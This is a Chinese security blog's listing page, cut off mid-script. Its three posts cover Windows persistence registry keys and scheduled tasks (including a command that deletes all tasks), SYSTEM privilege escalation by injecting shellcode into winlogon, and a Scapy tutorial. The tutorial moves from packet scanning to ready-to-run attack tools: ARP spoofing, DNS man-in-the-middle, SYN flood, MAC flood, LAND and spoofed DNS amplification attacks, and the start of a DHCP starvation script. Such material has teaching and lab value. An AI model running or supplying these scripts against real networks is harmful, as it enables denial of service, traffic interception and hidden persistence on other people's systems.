首页
实用工具
我的旅程
在线壁纸
更多
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索
1
【工具分享】逆向工具箱 - 次元剑
89,545 阅读
2
【技术分享】PE文件结构分析 ( RVA转FOA )
7,351 阅读
3
【技术分享】NASM x86 Assembly Language
5,982 阅读
4
【技术分享】CK竞技之王游戏辅助制作
3,725 阅读
5
【每日随记】天涯明月刀无限飞修改思路
2,816 阅读
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
Search
标签搜索
Windows
Web安全
Python3
Linux
逆向工程
CTF
红队技术
人工智能
C/C++
黑客工具
Go
密码学
二进制安全
数学
漏洞挖掘
Android
eNSP
渗透测试
蓝队技术
黑客大会
发光的神
累计撰写
160
篇文章
累计收到
103
条评论
首页
栏目
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
页面
实用工具
我的旅程
在线壁纸
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索到
160
篇与
的结果
2022-07-19
【技术分享】Windows 权限维持启动项合集
1.Load注册键HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows\load2.Userinit注册键这里能够使系统启动时自动初始化程序,通常该注册键下面有一个userinit.exe。这个键允许指定用逗号分隔的多个程序,例如“userinit.exe,OSA.exe”(不含引号)。HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Userinit3.Explorer-Run注册键HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RunHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run4.RunServicesOnce注册键RunServicesOnce注册键用来启动服务程序,启动时间在用户登录之前,而且先于其他通过注册键启动的程序。RunServicesOnce注册键的位置是:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnceHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce5.RunServices注册键RunServices注册键指定的程序紧接RunServicesOnce指定的程序之后运行,但两者都在用户登录之前。RunServices的位置是:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ RunServicesHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices6.RunOnce\Setup注册键RunOnce\Setup指定了用户登录之后运行的程序,它的位置是:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup、HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Setup7.RunOnce注册键安装程序通常用RunOnce键自动运行程序,它的位置在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce、HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnceHKEY_LOCAL_MACHINE下面的RunOnce键会在用户登录之后立即运行程序,运行时机在其他Run键指定的程序之前。HKEY_CURRENT_USER下面的RunOnce键在操作系统处理其他Run键以及“启动”文件夹的内容之后运行。如果是XP,你还需要检查一下:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx8.Run注册键Run是自动运行程序最常用的注册键,位置在:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run、HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunHKEY_CURRENT_USER下面的Run键紧接HKEY_LOCAL_MACHINE下面的Run键运行,但两者都在处理“启动”文件夹之前。9.Windows Shell 系统接口位于HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon下面的Shell字符串类型键值中,基默认值为Explorer.exe,当然可能木马程序会在此加入自身并以木马参数的形式调用资源管理器,以达到欺骗用户的目的。10.常用的启动 系统配置文件Windows的配置文件,包括Win.ini、System.ini和wininit.ini文件也会加载一些自动运行的程序Win.ini文件在[windows]段下的“Run=”和“LOAD=”语句后面就可以直接加可执行程序,只要程序名称及路径写在“=”后面即可。System.ini文件默认[boot]段下“shell=”的语句为“shell=Explorer.exe”,启动的时候运行Windows外壳程序explorer.exe,黑客可将该句变成“shell=病毒文件名.exe。11.系统服务位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services,系统服务加载程序,其中netsvcs 是一组服务的集合(通过svchost 用来加载成组服务),不是单个的服务,具体哪些服务在 netsvcs 里,可以在注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost右边的 netsvcs 值里查看,里面的不一定是当前都被加载了的,只是说它们若被加载都划归在 netsvcs 组里,其中哪些服务正运行着,可和服务里的相应服务状态对照着看。12.windows 通过AppInit加载任意dllwindows操作系统允许将用户提供的dll加载到所有的进程的内存空间中。该功能可以用来做后门持久化。有点类似于linux的ld_preload环境变量。在进程启动的时候,操作系统会将用户提供的dll加载。在设置该功能时,需要administrator权限。设置方法为修改注册表中两个选项HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\WindowsHKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\WindowsNT\CurrentVersion\Windows微软默认阻止用户通过appinit功能去加载未知的dll。不过,可以通过修改注册表键值HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Windows\LoadAppInit_DLLs为1去关闭该功能。将待加载的dll保存在Program Files文件夹,并且将AppInit_DLLs键值修改为待加载dll的路径,即可让所有windows进程都加载该dll。这是因为在“ AppInit_DLLs”注册表项中指定的DLL是由user32.dll加载的,几乎所有应用程序都使用该user32.dll。任务计划 (推荐)使用cmd注册任务计划当然也可以用Windows提供的API进行创建schtasks /change /tn "Adobe Acrobat Update Task" /disable //禁用名为Adobe Acrobat Update Task的计划任务 schtasks /change /tn GoogleUpdateTaskMachineCore /disable //禁用名为Adobe Acrobat Update Task的计划任务 schtasks /Change /TN "Adobe Acrobat Update Task" /enable //启用名为Adobe Acrobat Update Task的计划任务 schtasks /create /tn "restart" /ru SYSTEM /sc ONSTART /tr "E:\dataojo\commond\restart.bat" //创建计划任务 schtasks /delete /tn * /f //删除所有计划任务schtasks参数说明SCHTASKS /Create [/S system [/U username [/P [password]]]] [/RU username [/RP password]] /SC schedule [/MO modifier] [/D day] [/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime][/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]] [/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F] 描述: 允许管理员在本地或远程系统上创建计划任务。 参数列表: /S system 指定要连接到的远程系统。如果省略这个系统参数,默认是本地系统。 /U username 指定应在其中执行 SchTasks.exe 的用户上下文。 /P [password] 指定给定用户上下文的密码。如果省略则提示输入。 /RU username 指定任务在其下运行的“运行方式”用户帐户(用户上下文)。 对于系统帐户,有效值是 ""、"NT AUTHORITY\SYSTEM" 或"SYSTEM"。 对于 v2 任务,"NT AUTHORITY\LOCALSERVICE"和 "NT AUTHORITY\NETWORKSERVICE"以及常见的 SID。对这三个也都可用。 /RP [password] 指定“运行方式”用户的密码。要提示输入密码,值必须是 "*" 或无。 系统帐户会忽略该密码。必须和 /RU 或 /XML 开关一起使用。 /RU/XML /SC schedule 指定计划频率。 有效计划任务: MINUTE、 HOURLY、DAILY、WEEKLY、 MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT. /MO modifier 改进计划类型以允许更好地控制计划重复 周期。有效值列于下面“修改者”部分中。 /D days 指定该周内运行任务的日期。有效值: MON、TUE、WED、THU、FRI、SAT、SUN 和对 MONTHLY 计划的 1 - 31 (某月中的日期)。通配符“*”指定所有日期。 /M months 指定一年内的某月。默认是该月的第一天。 有效值: JAN、FEB、MAR、APR、MAY、JUN、 JUL、 AUG、SEP、OCT、NOV 和 DEC。通配符 “*” 指定所有的月。 /I idletime 指定运行一个已计划的 ONIDLE 任务之前 要等待的空闲时间。 有效值范围: 1 到 999 分钟。 /TN taskname 指定唯一识别这个计划任务的名称。 /TR taskrun 指定在这个计划时间运行的程序的路径 和文件名。 例如: C:\windows\system32\calc.exe /ST starttime 指定运行任务的开始时间。 时间格式为 HH:mm (24 小时时间),例如 14:30 表示 2:30 PM。如果未指定 /ST,则默认值为 当前时间。/SC ONCE 必需有此选项。 /RI interval 用分钟指定重复间隔。这不适用于 计划类型: MINUTE、HOURLY、 ONSTART, ONLOGON, ONIDLE, ONEVENT. 有效范围: 1 - 599940 分钟。 如果已指定 /ET 或 /DU,则其默认值为 10 分钟。 /ET endtime 指定运行任务的结束时间。 时间格式为 HH:mm (24 小时时间),例如,14:50 表示 2:50 PM。 这不适用于计划类型: ONSTART、 ONLOGON, ONIDLE, ONEVENT. /DU duration 指定运行任务的持续时间。 时间格式为 HH:mm。这不适用于 /ET 和 计划类型: ONSTART, ONLOGON, ONIDLE, ONEVENT. 对于 /V1 任务,如果已指定 /RI,则持续时间默认值为 1 小时。 /K 在结束时间或持续时间终止任务。 这不适用于计划类型: ONSTART、 ONLOGON, ONIDLE, ONEVENT. 必须指定 /ET 或 /DU。 /SD startdate 指定运行任务的第一个日期。 格式为 yyyy/mm/dd。默认值为 当前日期。这不适用于计划类型: ONCE、 ONSTART, ONLOGON, ONIDLE, ONEVENT. /ED enddate 指定此任务运行的最后一天的日期。 格式是 yyyy/mm/dd。这不适用于计划类型: ONCE、ONSTART、ONLOGON、ONIDLE。 /EC ChannelName 为 OnEvent 触发器指定事件通道。 /IT 仅有在 /RU 用户当前已登录且 作业正在运行时才可以交互式运行任务。 此任务只有在用户已登录的情况下才运行。 /NP 不储存任何密码。任务以给定用户的身份 非交互的方式运行。只有本地资源可用。 /Z 标记在最终运行完任务后删除任务。 /XML xmlfile 从文件的指定任务 XML 中创建任务。 可以组合使用 /RU 和 /RP 开关,或者在任务 XML 已包含 主体时单独使用 /RP。 /V1 创建 Vista 以前的平台可以看见的任务。 不兼容 /XML。 /F 如果指定的任务已经存在,则强制创建 任务并抑制警告。 /RL level 为作业设置运行级别。有效值为 LIMITED 和 HIGHEST。默认值为 LIMITED。 /DELAY delaytime 指定触发触发器后延迟任务运行的 等待时间。时间格式为 mmmm:ss。此选项仅对计划类型 ONSTART, ONLOGON, ONEVENT. /? 显示帮助消息。 描述 允许管理员创建、删除、查询、更改、运行和中止 本地或远程系统上的计划系统。替代 AT.exe。 参数列表 /Create 创建新计划任务。 /Delete 删除计划任务。 /Query 显示所有计划任务。 /Change 更改计划任务属性。 /Run 立即运行计划任务。 /End 中止当前正在运行的计划任务。 /? 显示帮助/用法。注册系统服务终端输入 instsrv ServiceName srvany.exe // 注册服务注册表找到这个 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ServiceName // 注册表找到服务然后在ServiceName 新建Parameters项里面新建 Application 存储的值是要运行的软件路径{cloud title="注册服务工具" type="lz" url="https://wws.lanzouj.com/iz8Ne085kufe" password=""/}
2022年07月19日
193 阅读
0 评论
26 点赞
2022-07-18
【技术分享】Windows 提权方式总结
简介Windows 的用户都能使用 Administrator 用户的管理员权限,也即为最高,但这并非是 Windows 最高权限,高权限而是 System 权限。如果能提升权限到 System 权限就能操作的越多,写游戏辅助的时候也能做到一些反检测,比如:游戏权限低无法检测高权限,有的进程 CE 打开是没有图标的,这个时候可以用 System 权限就能看到进程图标。提权方法:提权的方式有很多种,今天都讲下也算是科普了。Winlogin 提权这种办法可以写 ShellCode 远程线程注入的方式,注入到 Winlogin 进程中,因为它是唯一 拥有 system 权限并且能显示 GUI 的进程,也算是父进程带子进程实现了提权,这里我利用 CE 做演示。[ENABLE] GlobalAlloc(lengfeng, 800) // 分配全局内存分配后始终存在 label(xxx) // 定义一个标签跳到 xxx 里执行代码 lengfeng: push rdi sub rsp,20 mov rdx,5 mov rcx,xxx // 把 xxx内存地址移动到 rcx寄存器 call KERNEL32.WinExec // 调用 WinExec 执行 add Rsp,20 pop rdi ret xxx: db 'c:\windows\system32\cmd.exe', 0 // 这里可以改成你的软件路径 createthread(lengfeng) // 远程创建线程执行lengfeng里的汇编指令 [DISABLE] dealloc(lengfeng) // 释放先前分配的内存Powershell 提权powershell -ep bypass "Install-Module -Name NtObjectManager;start-Win32ChildProcess cmd"这种办法有利也有弊自己发现吧,只要以管理员身份启动 Powershell 运行以上命令,安装后即可提权。默认 y 完成后会弹出一个新的终端,输入 whoami 可以看出是 System 权限。
2022年07月18日
216 阅读
0 评论
53 点赞
2022-07-15
【技术分享】Python3 Scapy 实现网络攻击
简介Scapy 是一个功能强大的 Python 工具,允许用户发送、嗅探、解析和伪造网络数据包。它提供了丰富的网络操作功能,使得构建可探测、扫描或攻击网络的工具变得更加简单。 更多详细内容请参考Scapy的官方文档:Scapy 文档安装库pip install scapy可以通过终端直接调用scapy使用基础使用sr() 发送三层数据包,等待接收一个或者多个数据包的响应 sr1() 发送三层数据包,只会接收一个数据包的响应 srp() 发送二层数据包,然后一直等待回应 srp1() 发送二层发送数据包,只返回第一个答案 send() 只发送三层数据包,系统自动处理路由和两层信息 sendp() 只发送二层数据包 带p字母的都是发送二层数据包,必须要写以太网头部Ether(),而且如果是多接口一定要指定接口 不带p字母都是发送三层数据包,不需要填Ether头部,不需要指定接口常用的协议Ether 以太网协议 ARP ARP协议 IP IP协议 UDP UDP协议 TCP TCP协议 ICMP ICMP协议列出协议字段>>> ls(ARP) hwtype : XShortField = (1) ptype : XShortEnumField = (2048) hwlen : FieldLenField = (None) plen : FieldLenField = (None) op : ShortEnumField = (1) hwsrc : MultipleTypeField = (None) psrc : MultipleTypeField = (None) hwdst : MultipleTypeField = (None) pdst : MultipleTypeField = (None)获取帮助>>> help(send) Help on function send in module scapy.sendrecv: send(x, inter=0, loop=0, count=None, verbose=None, realtime=None, return_packets=False, socket=None, *args, **kargs) Send packets at layer 3 send(packets, [inter=0], [loop=0], [count=None], [verbose=conf.verb], [realtime=None], [return_packets=False], # noqa: E501 [socket=None]) -> None 构建 ICMP 包>>> packet =IP(src='192.168.1.115',dst='192.168.1.1')/ICMP() >>> packet <IP frag=0 proto=icmp src=192.168.1.1 dst=192.168.1.2 |<ICMP |>> 查看数据包信息>>> packet.show() ###[ IP ]### version= 4 ihl= None tos= 0x0 len= None id= 1 flags= frag= 0 ttl= 64 proto= icmp chksum= None src= 192.168.1.115 dst= 192.168.1.1 \options\ ###[ ICMP ]### type= echo-request code= 0 chksum= None id= 0x0 seq= 0x0 开启数据嗅探>>> sniff(filter='tcp',count=5) #捕获5个包 <Sniffed: TCP:5 UDP:0 ICMP:0 Other:0> >>> sniff(stop_filter=lambda x: x.haslayer(TCP)) #检测到TCP则停止 <Sniffed: TCP:1 UDP:0 ICMP:0 Other:0> 查看本地网卡>>> show_interfaces() INFO: Table cropped to fit the terminal (conf.auto_crop_tables==True) Source Index Name MAC IPv4 IPv6 libpcap 1 Software Loopback I_ 00:00:00:00:00:00 127.0.0.1 ::1 libpcap 10 Microsoft Wi-Fi Dir_ 9a:3b:8f:e7:a0:4a 169.254.248.16 fe80::404d:f9d:dd6b:_ libpcap 12 WAN Miniport (IP) libpcap 15 VMware Virtual Ethe_ 00:50:56:c0:00:08 192.168.18.1 fe80::4194:c468:a971_ libpcap 18 WAN Miniport (IPv6) libpcap 2 Microsoft Wi-Fi Dir_ 98:3b:8f:e7:a0:4b 169.254.172.205 fe80::84bd:aa4e:25e9_ libpcap 20 WAN Miniport (Netwo_ libpcap 21 VMware Virtual Ethe_ 00:50:56:c0:00:01 192.168.25.1 fe80::b0e6:8f17:ddb1_ libpcap 4 Intel(R) Wireless-A_ 98:3b:8f:e7:a0:4a 192.168.3.39 fe80::3df7:857b:82ec_ libpcap 5 OrayBoxVPN Virtual _ 00:25:e1:00:10:00 172.16.0.226 libpcap 6 Realtek PCIe GbE Fa_ 04:92:26:14:5d:17 169.254.17.179 fe80::ed09:65ab:81af_IP 头部IPv4 Version 版本号IHL 首部长度Total Length 总长度Identification 标识Flags 标志Fragment Offset 片偏移Time To Live 生存时间Protocol 协议Header Checksum 首部校验和Source Address 源地址Destination Address 目标地址Options 可选字段Padding 填充Data 数据部分IPV6 Version 版本号Traffic class 流量分类Flow Label 流量标签Payload length 负载长度Next Header 下一个头部Hop Limit 跳数Source Address 源地址Destination Address 目标IP地址 TCP协议提供一种面向连接的、可靠的字节流服务。面向连接: 两个使用TCP的应用 通常是一个客户端 和一个服务端在彼此交换数据之前必须建立一个TCP连接,TCP建立连接需要进行三次握手,结束时时需要四次挥手即可断开连接 。TCP六个标志位:URG:表示紧急指针是否有效;ACK:表示确认号是否有效,携带ACK标志的数据报文段为确认报文段;PSH:提示接收端的应用程序应该立即从TCP接受缓冲区中读走数据,为接受后数据腾出空间;RST:表示要求对方重新建立连接,携带RST标志位的TCP报文段称为复位报文段;SYN:表示请求建立一个连接,携带SYN标志的TCP报文段称为同步报文段;FIN:通知对方本端要关闭了,带FIN标志的TCP报文段称为结束报文段;TCP 报文结构version版本号ihl首部长度tos区分服务类型len总长度id标识flags标志frag片偏移ttl生存时间proto协议类型chksum首部校验和src源地址dst目标地址options可选字段UDP 头部Source Port 源端口Destination Port 目的端口Length 包长度Check Sum 校验和Data 数据(1)源端口(Source Port):16位的源端口域包含初始化通信的端口号。源端口和IP地址的作用是标识报文的返回地址。(2)目的端口(Destination Port):6位的目的端口域定义传输的目的。这个端口指明报文接收计算机上的应用程序地址接口。(3)封包长度(Length):UDP头和数据的总长度。(4)校验和(Check Sum):和TCP和校验和一样,不仅对头数据进行校验,还对包的内容进行校验。UDP 报文结构sport源端口dport目标端口len包长度chksum校验和这样可以更清晰地展示每个字段的含义。ICMP 头部ICMP type 类型code 代码checksum 校验和type和code不同时值不同原始ip数据报内容icmp是Internet控制报文协议,它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息,这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。ICMP 报文结构ARP 头部ARP 硬件类型协议类型硬件地址长度协议长度操作类型发送方的硬件地址(0-3字节)源物理地址(4-5字节)源IP地址(0-1字节)源IP地址(2-3字节)目标硬件地址(0-1字节)目标硬件地址(2-5字节)目标IP地址(0-3字节)ARP 报文结构DNS 头部ID: 长度为16位,是一个用户发送查询的时候定义的随机数,当服务器返回结果的时候,返回包的ID与用户发送的一致。QR: 长度1位,值0是请求,1是应答。Opcode: 长度4位,值0是标准查询,1是反向查询,2死服务器状态查询。AA: 长度1位,授权应答(Authoritative Answer) - 这个比特位在应答的时候才有意义,指出给出应答的服务器是查询域名的授权解析服务器。TC: 长度1位,截断(TrunCation) - 用来指出报文比允许的长度还要长,导致被截断。RD: 长度1位,期望递归(Recursion Desired) - 这个比特位被请求设置,应答的时候使用的相同的值返回。如果设置了RD,就建议域名服务器进行递归解析,递归查询的支持是可选的。RA: 长度1位,支持递归(Recursion Available) - 这个比特位在应答中设置或取消,用来代表服务器是否支持递归查询。Z: 长度3位,保留值,值为0.RCode: 长度4位,应答码,类似http的stateCode一样,值0没有错误、1格式错误、2服务器错误、3名字错误、4服务器不支持、DNS 报文结构ARP 单主机扫描from scapy.all import * ip = "192.168.5.4" p = ARP(pdst=ip) ans = sr1(p,timeout=1) if ans != None: ans.display() print(ip,"host is up.") else: print(ip,"host is down.") ARP 多主机扫描from scapy.all import ARP, Ether, srp import ipaddress target_ip = input("请输入目标IP地址/掩码(例如:192.168.1.0/24):") # 解析IP地址/掩码并检查是否有错误 try: network = ipaddress.ip_network(target_ip) except ValueError: print("请输入合法的IP地址/掩码!") else: # 构造ARP请求包 arp = ARP(pdst=target_ip) # 构造以太网数据包 ether = Ether(dst="ff:ff:ff:ff:ff:ff") packet = ether / arp result = srp(packet, timeout=3, verbose=0)[0] # 处理响应数据包 clients = [] for sent, received in result: # 提取响应的MAC和IP地址 clients.append({'ip': received.psrc, 'mac': received.hwsrc}) # 输出扫描结果 print("扫描结果:") print(" IP地址\t\t MAC地址") for client in clients: print("{:<16}{}".format(client['ip'], client['mac']))PING 主机扫描import threading from scapy.all import * ips = [] ip_range = "192.168.1.0-254" ip_list = ip_range.split("-") start_ip = ip_list[0] end_ip = ip_list[1] start_index = int(start_ip.split(".")[-1]) end_index = int(end_ip.split(".")[-1]) ips = [f"{start_ip.rsplit('.', 1)[0]}.{i}" for i in range( start_index, end_index + 1)] def scan(ip): p = IP(dst=ip)/ICMP() ans = sr1(p, iface="Intel(R) Wireless-AC 9560 160MHz", timeout=1) if ans != None: ips.append(ip) threads = [] for ip in ips: t = threading.Thread(target=scan, args=(ip,)) threads.append(t) t.start() for t in threads: t.join() print(ips)SYN 端口扫描from scapy.all import * ip = "192.168.5.4" port = 80 p = IP(dst=ip)/TCP(dport=int(port)) ans = sr1(p,timeout=1,verbose=1) if ans[TCP].flags == 'SA': print(ip,"port",port,"is open.") else: print(ip,"port",port,"is closed.") SYN 多线程端口扫描from scapy.all import * import threading from tqdm import tqdm target_host = input("请输入要扫描的目标主机IP地址 如:(192.168.1.100):") port_range = input("请输入要扫描的端口范围 如:(1-3000):") output_file = input("请输入结果输出文件名 如:(1.txt):") # 解析端口范围 min_port, max_port = map(int, port_range.split("-")) # 设置超时时间 timeout = 1 # 创建锁对象,以便在输出结果时避免竞争条件问题 print_lock = threading.Lock() # 定义写文件函数 def write_result(ip, port): with open(output_file, "a") as f: f.write(f"{ip}:{port}\n") # 定义线程函数 def scan_port(port): # 创建TCP SYN包 packet = IP(dst=target_host)/TCP(dport=port, flags="S") # 发送数据包并获取响应 response_packet = sr1(packet, timeout=timeout, verbose=False) # 解析响应数据包 if response_packet is None: with print_lock: # 使用tqdm库更新进度条 pbar.update(1) elif response_packet.haslayer(TCP) and response_packet.getlayer(TCP).flags == 0x12: # 如果收到SYN-ACK响应,则说明端口开放 with print_lock: # 使用tqdm库更新进度条 pbar.update(1) write_result(target_host, port) else: with print_lock: # 使用tqdm库更新进度条 pbar.update(1) # 创建线程列表 threads = [] # 使用tqdm库创建进度条,总数为需要扫描的端口数量 pbar = tqdm(total=max_port-min_port+1) # 遍历所有需要扫描的端口,并创建一个线程来执行scan_port函数 for port in range(min_port, max_port+1): thread = threading.Thread(target=scan_port, args=(port,)) threads.append(thread) thread.start() # 等待所有线程执行完毕 for thread in threads: thread.join() # 关闭进度条 pbar.close()FIN 端口扫描from scapy.all import * ip = "192.168.5.4" port = 80 p=IP(dst=ip)/TCP(dport=int(port),flags="F") ans=sr1(p,timeout=1,verbose=1) if ans==None: print(ip,"port",port,"is open.") elif ans!=None and ans[TCP].flags=='RA': ans.display() print(ip,"port",port,"is closed.")XMAS 端口扫描XMAS扫描和NULL扫描是FIN扫描的两个变种,XMAS扫描打开FIN URG ACK PSH RST SYN标记并且全部置1。(原理和SYN差不多)from scapy.all import * ip = "192.168.5.4" port = 80 p = IP(dst=ip)/TCP(dport=int(port),flags="FPU") ans = sr1(p,timeout=1,verbose=1) if ans == None: print(ip,"port",port,"is open.") elif ans!=None and ans[TCP].flags=='RA': ans.display() print(ip,"port",port,"is closed.") ICMP 多线程扫描from scapy.all import * import threading import argparse import ipaddress import os import sys # 发送ICMP请求,判断是否存活 def icmp_requset(ip_dst, iface=None): pkt = Ether()/IP(dst=ip_dst) / ICMP(type=8) req = srp1(pkt, timeout=3, verbose=False) if req: print('[+]', ip_dst, ' Host is up') #进行子网的多线程扫描 def icmp_scan(network): threads = [] length = len(network) for ip in network: t = threading.Thread(target=icmp_requset, args=(str(ip),)) threads.append(t) for i in range(length): threads[i].start() for i in range(length): threads[i].join() # 参数选项 def main(): # Windows下注释掉这段 # 判断是否为root if os.getuid() != 0: print('[-]Need root user to run') sys.exit(1) parser = argparse.ArgumentParser() parser.add_argument('network', help='eg:192.168.1.0/24') args = parser.parse_args() network = list(ipaddress.ip_network(args.network)) icmp_scan(network) if __name__ == '__main__': main()流量抓包from scapy.all import * def capture(x): if b'HTTP/' in x.lastlayer().original and x.lastlayer().original[0:4] != b'HTTP': print('dst ip:', x.payload.dst) try: request_body = x.lastlayer().original request_body = request_body.decode('utf-8') except: request_body = str(x.lastlayer().original) if 'allall01.baidupcs.com' in request_body: return if 'netdisk' in request_body: return if 'baidu' in request_body: return print('request body:', request_body) def main(): sniff(filter="tcp", prn=lambda x: capture(x)) if __name__ == '__main__': main()ARP 断网攻击from scapy.all import * import time # pdst是目标IP,psrc是网关的ip p1 = Ether(dst="ff:ff:ff:ff:ff:ff", src="90:A4:07:1B:4A:E9") / \ ARP(pdst="192.168.20.133", psrc="192.168.1.101") while True: sendp(p1) time.sleep(.1)视频效果{dplayer src="https://www.52tt.pro/usr/uploads/2022/07/193850867.mp4"/}ARP 本地防御# 以管理员身份运行cmd netsh i i show in # 列出本地网卡的 IDX 编号 netsh -c i i add neighbors 7 192.168.1.1 00-25-83-01-10-00 # IDX 编号为 7 网关 + 网关MAC地址 回车即可绑定静态MAC地址 netsh -c i i delete neighbors 7 192.168.1.1 # 删除绑定更改为动态DNS 中间人攻击from scapy.all import * wlan2="VMware Virtual Ethernet Adapter for VMnet8" dns_server="192.168.146.130" # win2008已搭好的dns服务器 dnsdst="" def rev(p): global dnsdst try: pip=p[IP] pudp=[UDP] pdns=p[DNS] if p.dport==53 and pip.dst=="192.168.146.2":# 这个包是win7向网关的请求包 dnsdst=pip.src send(IP(src="192.168.146.1",dst=dns_server,ttl=55)/UDP(sport=p[UDP].sport,dport=53)/pdns,iface=wlan2) print("转发查询信息成功",dnsdst) elif p.sport==53 and pip.src==dns_server: #这一个包是搭建的DNS给自己回的包 #print(dnsdst) send(IP(src="192.168.146.2",dst="192.168.146.129",ttl=55)/UDP(sport=53,dport=p[UDP].dport)/pdns,iface=wlan2) print("转发响应信息成功") except : pass print("开始攻击") sniff(iface=wlan2,filter="udp port 53",timeout=300,prn=rev)SYN FLOOD 攻击# 第一版 from scapy.all import * import random def synFlood(): while True: # 构造随机的源IP src='%i.%i.%i.%i'%( random.randint(1,255), random.randint(1, 255), random.randint(1, 255), random.randint(1, 255) ) # 构造随机的端口 sport=random.randint(1024,65535) IPlayer=IP(src=src,dst='192.168.1.104') TCPlayer=TCP(sport=sport,dport=445,flags="S") packet=IPlayer/TCPlayer send(packet) if __name__ == '__main__': synFlood() # 第二版 from scapy.all import * ip = IP(src=RandIP(), dst="192.168.1.104") syn = TCP(sport=RandShort(), dport=445, flags="S", seq=1000) send(ip/syn, inter=0.001, loop=1)SYN FLOOD 完整版from scapy.all import * import random # 生成随机的IP def randomIP(): ip=".".join(map(str,(random.randint(0,255) for i in range(4)))) return ip # 生成随机端口 def randomPort(): port=random.randint(1000,10000) return port # syn-flood def synFlood(count,dstIP,dstPort): total=0 print("Packets are sending ...") for i in range(count): #IPlayer srcIP=randomIP() dstIP=dstIP IPlayer = IP(src=srcIP,dst=dstIP) #TCPlayer srcPort=randomPort() TCPlayer = TCP(sport=srcPort, dport=dstPort, flags="S") #发送包 packet = IPlayer / TCPlayer send(packet) total+=1 print("Total packets sent: %i" % total) # 显示的信息 def info(): print("#"*30) print("# Welcome to SYN Flood Tool #") print("#"*30) # 输入目标IP和端口 dstIP = input("Target IP : ") dstPort = int(input("Target Port : ")) return dstIP, dstPort if __name__ == '__main__': dstIP, dstPort=info() count=int(input("Please input the number of packets:")) synFlood(count,dstIP,dstPort)MAC 泛洪攻击from scapy.all import * #定义网卡接口 iface='eth0' while True: #随机MAC randmac=RandMAC("*:*:*:*:*:*") #随机IP randip=RandIP("*.*.*.*") #构造数据包 packet=Ether(src=randmac,dst=randmac)/IP(src=randip,dst=randip)/ICMP() sendp(packet,iface=iface,loop=0)MAC 泛洪完整版from scapy.all import * import random # 生成随机的MAC def randomMAC(): randmac = RandMAC("*:*:*:*:*:*") return randmac # 生成随机的IP def randomIP(): ip=".".join(map(str,(random.randint(0,255) for i in range(4)))) return ip # Mac-flood def macFlood(count): total = 0 print("Packets are sending ...") for i in range(count): packet = Ether(src=randomMAC(), dst=randomMAC()) / IP(src=randomIP(), dst=randomIP()) / ICMP() sendp(packet, iface='eth0', loop=0) total+=1 print("Total packets sent: %i" % total) if __name__ == '__main__': print("#" * 30) print("# Welcome to Mac Flood Tool #") print("#" * 30) count = int(input("Please input the number of packets:")) macFlood(count)LAND 攻击import scapy.all as scapy import time target = input("Please input your target:") # 输入想要攻击的ip地址 port = input("Please input your target's port:") # 输入端口 port = int(port) # 因为input接收的是str,所以要转换成int型 send_packets=0 # 记录发送包的数量 try: while True: a = (scapy.IP(src=target,dst=target)/scapy.TCP(sport=port,dport=port)) #构造LAND attack攻击包 scapy.send(a,verbose=False) send_packets+=1 #发送一个,自动加一 print("[+] Sent Packets:" + str(send_packets)) time.sleep(1) except KeyboardInterrupt: print("[-] Ctrl+C detected.......")DNS 放大攻击from scapy.all import * a = IP(dst='8.8.8.8',src='192.168.1.200') #192.168.1.200 为伪造的源ip b = UDP(dport=53) c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0) c.qd=DNSQR(qname='www.qq.com',qtype=1,qclass=1) p = a/b/c send(p)DHCP 欺骗攻击from scapy.all import * import random def dhcp_discover(iface): while True: xid_random = random.randint(1, 900000000) mac_random = str(RandMAC()) dhcp_discover = (Ether(src=mac_random,dst='ff:ff:ff:ff:ff:ff')/ IP(src='0.0.0.0',dst='255.255.255.255')/ 